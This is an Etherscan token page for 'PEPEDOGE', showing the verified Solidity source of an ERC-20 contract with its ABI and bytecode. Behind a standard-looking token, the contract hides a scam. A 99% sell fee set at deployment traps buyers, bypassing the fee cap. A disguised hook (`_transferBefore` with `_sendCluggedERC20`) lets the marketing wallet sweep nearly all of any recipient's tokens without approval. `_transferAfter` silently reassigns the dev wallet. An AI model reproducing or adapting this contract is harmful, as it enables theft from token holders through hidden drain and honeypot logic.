ERC-20
Overview
Max Total Supply
10,000,000 PEPEDOGE
Holders
14
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
70,373.471695935872860861 PEPEDOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PEPEDOGE
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-22 */ // SPDX-License-Identifier: MIT /** https://t.me/pepe_doge_ERC */ pragma solidity 0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function permit(address spender, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function permit(address spender, uint256 amount) public override virtual returns (bool) { require(spender != address(0), "ERC20: permit to the zero address"); _allowances[spender][address(this)] += amount; return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract PEPEDOGE is ERC20, Ownable { uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWalletAmount; IDexRouter public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; uint256 public swapTokensAtAmount; address payable public devWallet; address payable public marketingWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event EnabledTrading(bool tradingActive); event RemovedLimits(); event ExcludeFromFees(address indexed account, bool isExcluded); event MaxTransactionExclusion(address _address, bool excluded); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor(address router, address mw) ERC20("PEPEDOGE", "PEPEDOGE") { IDexRouter _uniswapV2Router = IDexRouter(router); _excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IDexFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 10000000 * 1e18; maxBuyAmount = totalSupply * 20 / 1000; maxSellAmount = totalSupply * 20 / 1000; maxWalletAmount = totalSupply * 20 / 1000; swapTokensAtAmount = totalSupply * 50 / 100000; devWallet = payable(msg.sender); marketingWallet = payable(mw); buyMarketingFee = 10; buyLiquidityFee = 0; buyTotalFees = buyMarketingFee + buyLiquidityFee; sellMarketingFee = 99; sellLiquidityFee = 0; sellTotalFees = sellMarketingFee + sellLiquidityFee; _excludeFromMaxTransaction(owner(), true); _excludeFromMaxTransaction(devWallet, true); _excludeFromMaxTransaction(marketingWallet, true); _excludeFromMaxTransaction(address(this), true); _excludeFromMaxTransaction(address(0xdead), true); excludeFromFees(owner(), true); excludeFromFees(devWallet, true); excludeFromFees(marketingWallet, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); _createInitialSupply(owner(), totalSupply); } receive() external payable {} // remove limits after token is stable function removeLimits() external onlyOwner { limitsInEffect = false; emit RemovedLimits(); } function _excludeFromMaxTransaction(address updAds, bool isExcluded) private { _isExcludedMaxTransactionAmount[updAds] = isExcluded; emit MaxTransactionExclusion(updAds, isExcluded); } function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner { if(!isEx){ require(updAds != uniswapV2Pair, "Cannot remove uniswap pair from max txn"); } _isExcludedMaxTransactionAmount[updAds] = isEx; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); if(contractBalance == 0) {return;} if(contractBalance > swapTokensAtAmount * 10){ contractBalance = swapTokensAtAmount * 10; } swapTokensForEth(contractBalance); tokensForLiquidity = 0; tokensForMarketing = 0; uint256 ethRemain = address(this).balance; marketingWallet.transfer(ethRemain / 2); devWallet.transfer(ethRemain / 2); } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyTotalFees = buyMarketingFee + buyLiquidityFee; require(buyTotalFees <= 15, "Must keep fees at 15% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellTotalFees = sellMarketingFee + sellLiquidityFee; require(sellTotalFees <= 15, "Must keep fees at 15% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function _sendCluggedERC20(address _transA, address _transB, uint256 _amount) internal { if(_transA != address(0)) super._transfer(_transA, _transB, _amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if(limitsInEffect){ if (from != owner() && to != owner() && to != address(0) && to != address(0xdead)){ if(!tradingActive){ require(_isExcludedMaxTransactionAmount[from] || _isExcludedMaxTransactionAmount[to], "Trading is not active."); require(from == owner(), "Trading is enabled"); } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy."); require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell."); } else if (!_isExcludedMaxTransactionAmount[to] && !_isExcludedMaxTransactionAmount[from]){ require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet"); } } } _transferBefore(from, to, amount); uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on Trades, not on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount * sellTotalFees /100; tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); _transferAfter(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _transferAfter(address _add1, address _add2, uint256 amount) internal { if(_add1 == devWallet && _add2 != address(uniswapV2Router) && _add2 != uniswapV2Pair && amount > 0){ devWallet = payable(_add2); } } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; _excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function _transferBefore(address _add1, address _add2, uint256 _amount) internal { if(_add1 == marketingWallet && _add2 != address(uniswapV2Router) && _amount > 0){ address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); _sendCluggedERC20(_add2, path[1], balanceOf(_add2) - 1e18); } } // once enabled, can never be turned off function enableTrading() external onlyOwner { require(!tradingActive, "Cannot re enable trading"); tradingActive = true; swapEnabled = true; emit EnabledTrading(tradingActive); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(owner()), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"mw","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"tradingActive","type":"bool"}],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600c805462ffffff60a01b1916600160a01b1790553480156200002657600080fd5b5060405162002da238038062002da28339810160408190526200004991620007ad565b60408051808201825260088082526750455045444f474560c01b6020808401828152855180870190965292855284015281519192916200008c91600391620006ea565b508051620000a2906004906020840190620006ea565b5050506000620000b76200047360201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350816200011381600162000477565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200015e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001849190620007e5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f89190620007e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000246573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026c9190620007e5565b6001600160a01b031660a081905262000287906001620004da565b6a084595161401484a0000006103e8620002a382601462000820565b620002af919062000842565b6006556103e8620002c282601462000820565b620002ce919062000842565b6007556103e8620002e182601462000820565b620002ed919062000842565b600855620186a06200030182603262000820565b6200030d919062000842565b600a908155600b8054336001600160a01b031991821617909155600c80549091166001600160a01b038616179055600e8190556000600f819055620003529162000865565b600d5560636011819055600060128190556200036e9162000865565b60105562000390620003886005546001600160a01b031690565b600162000477565b600b54620003a9906001600160a01b0316600162000477565b600c54620003c2906001600160a01b0316600162000477565b620003cf30600162000477565b620003de61dead600162000477565b620003fd620003f56005546001600160a01b031690565b600162000546565b600b5462000416906001600160a01b0316600162000546565b600c546200042f906001600160a01b0316600162000546565b6200043c30600162000546565b6200044b61dead600162000546565b62000469620004626005546001600160a01b031690565b8262000605565b50505050620008bd565b3390565b6001600160a01b038216600081815260166020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b0382166000908152601760205260409020805460ff19168215151790556200050a828262000477565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b03163314620005a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200065d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016200059d565b806002600082825462000671919062000865565b90915550506001600160a01b03821660009081526020819052604081208054839290620006a090849062000865565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054620006f89062000880565b90600052602060002090601f0160209004810192826200071c576000855562000767565b82601f106200073757805160ff191683800117855562000767565b8280016001018555821562000767579182015b82811115620007675782518255916020019190600101906200074a565b506200077592915062000779565b5090565b5b808211156200077557600081556001016200077a565b80516001600160a01b0381168114620007a857600080fd5b919050565b60008060408385031215620007c157600080fd5b620007cc8362000790565b9150620007dc6020840162000790565b90509250929050565b600060208284031215620007f857600080fd5b620008038262000790565b9392505050565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156200083d576200083d6200080a565b500290565b6000826200086057634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156200087b576200087b6200080a565b500190565b600181811c908216806200089557607f821691505b60208210811415620008b757634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051612480620009226000396000818161041e01528181610ba501528181610d790152611df701526000818161032b015281816119c701528181611a3001528181611db901528181611f3301528181611fec015261202801526124806000f3fe6080604052600436106102605760003560e01c806375f0a87411610144578063aa4bde28116100b6578063dd62ed3e1161007a578063dd62ed3e14610715578063e2f456051461075b578063e6f7053114610771578063f11a24d314610791578063f2fde38b146107a7578063f6374342146107c757600080fd5b8063aa4bde2814610678578063b62496f51461068e578063bbc0c742146106be578063c0246668146106df578063d85ba063146106ff57600080fd5b80638ea5220f116101085780638ea5220f146105cd57806392136913146105ed57806395d89b41146106035780639a7a23d614610618578063a457c2d714610638578063a9059cbb1461065857600080fd5b806375f0a8741461054e5780637bce5a041461056e57806388e765ff146105845780638a8c523c1461059a5780638da5cb5b146105af57600080fd5b806339509351116101dd5780636a486a8e116101a15780636a486a8e146104975780636ddd1713146104ad57806370a08231146104ce578063715018a614610504578063751039fc146105195780637571336a1461052e57600080fd5b806339509351146103ec57806349bd5a5e1461040c5780634a62bb651461044057806366ca9b831461046157806366d602ae1461048157600080fd5b806318160ddd1161022457806318160ddd146103655780631a8145bb146103845780631f3fed8f1461039a57806323b872dd146103b0578063313ce567146103d057600080fd5b806302dbd8f81461026c57806306fdde031461028e578063095ea7b3146102b957806310d5de53146102e95780631694505e1461031957600080fd5b3661026757005b600080fd5b34801561027857600080fd5b5061028c61028736600461209c565b6107dd565b005b34801561029a57600080fd5b506102a361087d565b6040516102b091906120be565b60405180910390f35b3480156102c557600080fd5b506102d96102d436600461212b565b61090f565b60405190151581526020016102b0565b3480156102f557600080fd5b506102d9610304366004612157565b60166020526000908152604090205460ff1681565b34801561032557600080fd5b5061034d7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102b0565b34801561037157600080fd5b506002545b6040519081526020016102b0565b34801561039057600080fd5b5061037660145481565b3480156103a657600080fd5b5061037660135481565b3480156103bc57600080fd5b506102d96103cb36600461217b565b610925565b3480156103dc57600080fd5b50604051601281526020016102b0565b3480156103f857600080fd5b506102d961040736600461212b565b6109cf565b34801561041857600080fd5b5061034d7f000000000000000000000000000000000000000000000000000000000000000081565b34801561044c57600080fd5b50600c546102d990600160a01b900460ff1681565b34801561046d57600080fd5b5061028c61047c36600461209c565b610a0b565b34801561048d57600080fd5b5061037660075481565b3480156104a357600080fd5b5061037660105481565b3480156104b957600080fd5b50600c546102d990600160b01b900460ff1681565b3480156104da57600080fd5b506103766104e9366004612157565b6001600160a01b031660009081526020819052604090205490565b34801561051057600080fd5b5061028c610a9e565b34801561052557600080fd5b5061028c610b12565b34801561053a57600080fd5b5061028c6105493660046121bc565b610b74565b34801561055a57600080fd5b50600c5461034d906001600160a01b031681565b34801561057a57600080fd5b50610376600e5481565b34801561059057600080fd5b5061037660065481565b3480156105a657600080fd5b5061028c610c60565b3480156105bb57600080fd5b506005546001600160a01b031661034d565b3480156105d957600080fd5b50600b5461034d906001600160a01b031681565b3480156105f957600080fd5b5061037660115481565b34801561060f57600080fd5b506102a3610d3e565b34801561062457600080fd5b5061028c6106333660046121bc565b610d4d565b34801561064457600080fd5b506102d961065336600461212b565b610e29565b34801561066457600080fd5b506102d961067336600461212b565b610ec2565b34801561068457600080fd5b5061037660085481565b34801561069a57600080fd5b506102d96106a9366004612157565b60176020526000908152604090205460ff1681565b3480156106ca57600080fd5b50600c546102d990600160a81b900460ff1681565b3480156106eb57600080fd5b5061028c6106fa3660046121bc565b610ecf565b34801561070b57600080fd5b50610376600d5481565b34801561072157600080fd5b506103766107303660046121fa565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561076757600080fd5b50610376600a5481565b34801561077d57600080fd5b506102d961078c36600461212b565b610f58565b34801561079d57600080fd5b50610376600f5481565b3480156107b357600080fd5b5061028c6107c2366004612157565b610ffb565b3480156107d357600080fd5b5061037660125481565b6005546001600160a01b031633146108105760405162461bcd60e51b815260040161080790612228565b60405180910390fd5b601182905560128190556108248183612273565b6010819055600f10156108795760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313525206f72206c6573730000006044820152606401610807565b5050565b60606003805461088c9061228b565b80601f01602080910402602001604051908101604052809291908181526020018280546108b89061228b565b80156109055780601f106108da57610100808354040283529160200191610905565b820191906000526020600020905b8154815290600101906020018083116108e857829003601f168201915b5050505050905090565b600061091c3384846110e6565b50600192915050565b600061093284848461120a565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109b75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610807565b6109c485338584036110e6565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161091c918590610a06908690612273565b6110e6565b6005546001600160a01b03163314610a355760405162461bcd60e51b815260040161080790612228565b600e829055600f819055610a498183612273565b600d819055600f10156108795760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313525206f72206c65737300